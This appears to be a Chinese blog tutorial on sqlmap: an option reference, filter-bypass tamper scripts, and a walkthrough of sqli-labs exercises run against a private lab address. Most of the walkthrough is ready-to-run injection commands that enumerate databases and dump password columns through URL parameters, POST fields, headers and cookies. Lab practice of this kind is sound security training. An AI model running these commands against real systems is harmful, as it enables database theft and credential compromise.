手动下载最新版本git clone https://github.com/sqlmapproject/sqlmap.git

或者直接spt-get install sqlmap

sqlmap目录

avatar

extra:额外功能,如发出声响beep,代码加密cloak,二进制转换./dbgtool

plugins:插件库

shell:注入成功时使用的4种shell

thirdarty:

udf:UDF提权使用的dll文件,包含用户自己定义的攻击载荷

xml:包含多种数据库的注入检测载荷、旗标信息及其他信息

lib:包含sqlmap的多种连接库,如5种注入类型请求的参数、提权操作等

procs:包含了MSSQLServer\MySQL\Oracle\PostgreSQL的触发程序,存放了一些SQL语句,主要涉及DNS带外传输数据的一些数据库命令

tamper:绕过脚本

txt:字典

waf:常见防火墙特征

功能

sqlmap支持五种注入:布尔、时间、联合、报错、堆叠

sqlmap.py

-h:帮助
--version:版本
-v n:信息级别,从0-6
0:只显示python错误及严重信息
1:同时显示基本信息和警告信息
2:同时显示debug信息
3:显示注入的payload*****
4:显示HTTP请求
5:显示HTTP响应头
6:显示HTTP响应界面

目标

-d 数据库名:直接连接数据库
-u URL.--url=URL:注入点目标URL
-i logfile:从bp或webscare代理日志文件中分析目标
-x SITEMAPURL:从远程网站地图文件来解析目标
-m BULKFILE:将目标地址保存在文件中,一个行为一个URL地址进行批量检测
-r requestfile:从文件加载HTTP请求,请求HTTPS需要配合--foree-ssl参数来使用,后者可以在Host头后面加上443
-g googledork:从谷歌加载结果目标URL

请求

--method=METHOD:强制使用给定的HTTP方法
--data=data 通过post发送参数数据,会去检测post的参数
--data="id=1" -f -banner --dbs --users
--param-del=para:当get或post的数据需要使用其他字符分割测试参数时需要使用此参数
--cookie=cookie:HTTP cookie header值
--cookie-del=coo:用来分隔cookie的字符串值


-b,--banner返回数据库的版本号

-f --fingerprint执行广泛的DBMS版本指纹检查

--level=level:执行测试的等级1-5
--risk=risk:执行测试的风险3********


--technique=:SQL注入技术测试(默认为beust)
--time-sec=TIMESEC:DBMS响应的延迟时间
--union-cols=:定列范围用于测试UNION查询注入
--union-char=:暴力猜测列的字符数



枚举
-a,--all:获取所有信息
-b,--banner:获取数据库管理系统的版本
--current-user: 获取数据库管理系统当前用户。
--current-db:获取数据库管理系统当前数据库。
--hostname:获取数据库服务器的主机名称。
--is-dba:检测DBMS当前用户是否为DBA。
--users:枚举数据库管理系统用户。
--passwords: 枚举数据库管理系统用户密码哈希值。
-privilges:枚举数据库管理系统用户的权限。
--roles: 枚举数据库管理系统用户的角色。
--dbs:枚举数据库管理系统数据库。
--tables:枚举DBMS数据库中的表。
--columns:枚举DBMS数据库表列。
--schema:枚举数据库架构。
--count:
检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数: sqlmap.py -u url -count -D testdb。
-D BD:要进行枚举的指定数据库名
-T TBL:表枚举
-C COL:列枚举
-U USER:用来进行枚举的数据库用户
--where=DUMPWHERE:使用where条件
--sql-query=QUERY:要执行的SQL语句
--sql-shell:提示交互式SQL的shell
--sql-file=SQLFILE:要执行的SQL文件

暴力

--common-tables:检查存在共同表
--common-columns:检查存在共同列

使用

常用参数

--dbs数据库
--current-db当前数据库
--current-user数据库使用账户
--users列出sqlserver所有用户
--password数据库账户与密码
-v 3信息级别
--risk 1-4,1默认,2增加事件,3增加ro或者其他sql注入语句,4会修改数据库内容
--level 5
-D database 指定数据库
--tables指定库名列出所有表
-r 从文件中获取http包进行注入
-u 目标
-T指定的一张表
--columns获取列信息
-C指定列
--dump获取内容
--technique B|E|U|S|T 布尔、报错、联合、堆叠、时间注入类型
--batch一直使用默认执行命令
--thread 数字  一共用多少线程工作

常用绕过脚本

base64encode.py  base64编码
charencode.py    一次url编码
chardoubleencode.py     两次url编码
space2mssqlblank.py  空格替换脚本
space2mysqldash.py  空格替换
space2randomblank.py    空格替换,随即从空白字符集中选择来替代空白字符
unmagicquotes.py    宽字节

自动检测
sqlmap.py -u http:xxxxxx?id=1 --batch

直连数据库

sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --banner --dbs --users

标准流程

sqlmap -u "xxx" --dbs获取数据库
sqlmap -u "" -D table_name --tables 表名
-u "" -D xx -T xx --columns列名
-u "" -D xx -T xx -C xx,xx --dump获取内容
-u "" -D xx -T xx -C xx,xx --start 1 --stop 10--dump获取1-10行内容

sqlmap -u "" --technique E --dbs --batch指定为报错注入

sqlmap -u "" --data "uname=123*&passwd=888&submit=submit" --current-db --batch --threads 10 --technique E从抓到的数据包里面用*指定位置去打

把抓到的数据包放进文件,打标
sqlmap -r "/root/a.txt" --dbs --threads 10 --batch --technique BETS

指定http头注入
sqlmap -u "" --user-agent="xxxxxxxx*" -- level 4 --dbs --.......
sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security --tables

使用sqli-labs练习

准备工作是真的曲折...记录一下,以备以后再用
php选用5.x版本,mysql使用5.7,不然连接函数一直报错搭不起来,用了之后发现不管怎么注入都没反应,查了下要把php.ini文件里的magic_quotes_gpc改为off。kalissh连接参考https://www.cnblogs.com/winyh/p/9599369.html,以上全部搞完才能正常运行

下面没有特殊说明跳过的题目payload都与上面相同

做到20题的时候发现没有cookie.....在网上搜了下,要修改php.ini 文件中 output_buffering 设为 on,然后重启 appache

第一关,没什么好说的,中规中矩

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch --dbs

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security --tables

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security -T users --columns

sqlmap -u "http://192.168.226.134:30000/Less-1/?id=1" --batch -D security -T users -C id,password --dump -v 3此处使用了参数v,可以看到sqlmap注入时的payload

avatar
avatar
avatar

2-9同上,没什么好说的

10sqlmap -u "http://192.168.226.134:30000/Less-10/?id=1" --batch --dbs -v 3 --level 5

11注入点在登入框处sqlmap -u "http://192.168.226.134:30000/Less-11/" --data "uname=1&passwd=&submit=Submit" --batch --dbs
avatar

15sqlmap -u "http://192.168.226.134:30000/Less-15/" --data "uname=1*&passwd=&submit=Submit" --batch --dbs --level 5

17这里要注意一下网站会在检测用户名存在不存在之后才会继续,所以要用一个已经存在的用户名,注入点在密码sqlmap -u "http://192.168.226.134:30000/Less-17/" --data "uname=admin&passwd=1*&submit=Submit" --batch --dbs --level 5此处同时也是一个密码重置漏洞!

19注入点在referer头,这回换了种方式,写入文本后再打标进行注入sqlmap -r "./1.txt" --batch --dbs
avatar

20注入点在cookie,一样的
avatar

21抓包后发现cookie用了base64加密,使用tamper里面的相应的文件进行绕过sqlmap -r "./1.txt" --batch --dbs --tamper base64encode.py
avatar

23sqlmap -u "http://192.168.226.134:30000/Less-23/?id=1" --batch --dbs

做到25之后靶场又出问题了...痛苦

跳到29sqlmap -u "http://192.168.226.134:30000/Less-29/?id=1" --batch --dbs --tamper charencode.py -v 3这个绕过方式是url编码

30莫名又回去了sqlmap -u "http://192.168.226.134:30000/Less-30/?id=1" --batch --dbs -v 3 --level 5

33宽字节sqlmap -u "http://192.168.226.134:30000/Less-33/?id=2*" --batch --dbs -v 3 --tamper unmagicquotes.py

34宽字节sqlmap -u "http://192.168.226.134:30000/Less-34/?id=1" --data "uname=admin&&passwd=admin&submit=Submit" --dbs --batch -v 3 --tamper unmagicquotes.py

35返璞归真sqlmap -u "http://192.168.226.134:30000/Less-35/?id=1" --dbs -v3 --batch

36宽字节sqlmap -u "http://192.168.226.134:30000/Less-36/?id=1" --dbs -v3 --batch --tamper unmagicquotes.py

37post的宽字节,嘿嘿sqlmap -u "http://192.168.226.134:30000/Less-37/" --data "uname=admin*&passwd=admin&submit=Submit" --dbs -v 3 --batch --tamper unmagicquotes.py

38-40sqlmap -u "http://192.168.226.134:30000/Less-38/?id=1" --dbs -v3 --batch

标签: none

评论已关闭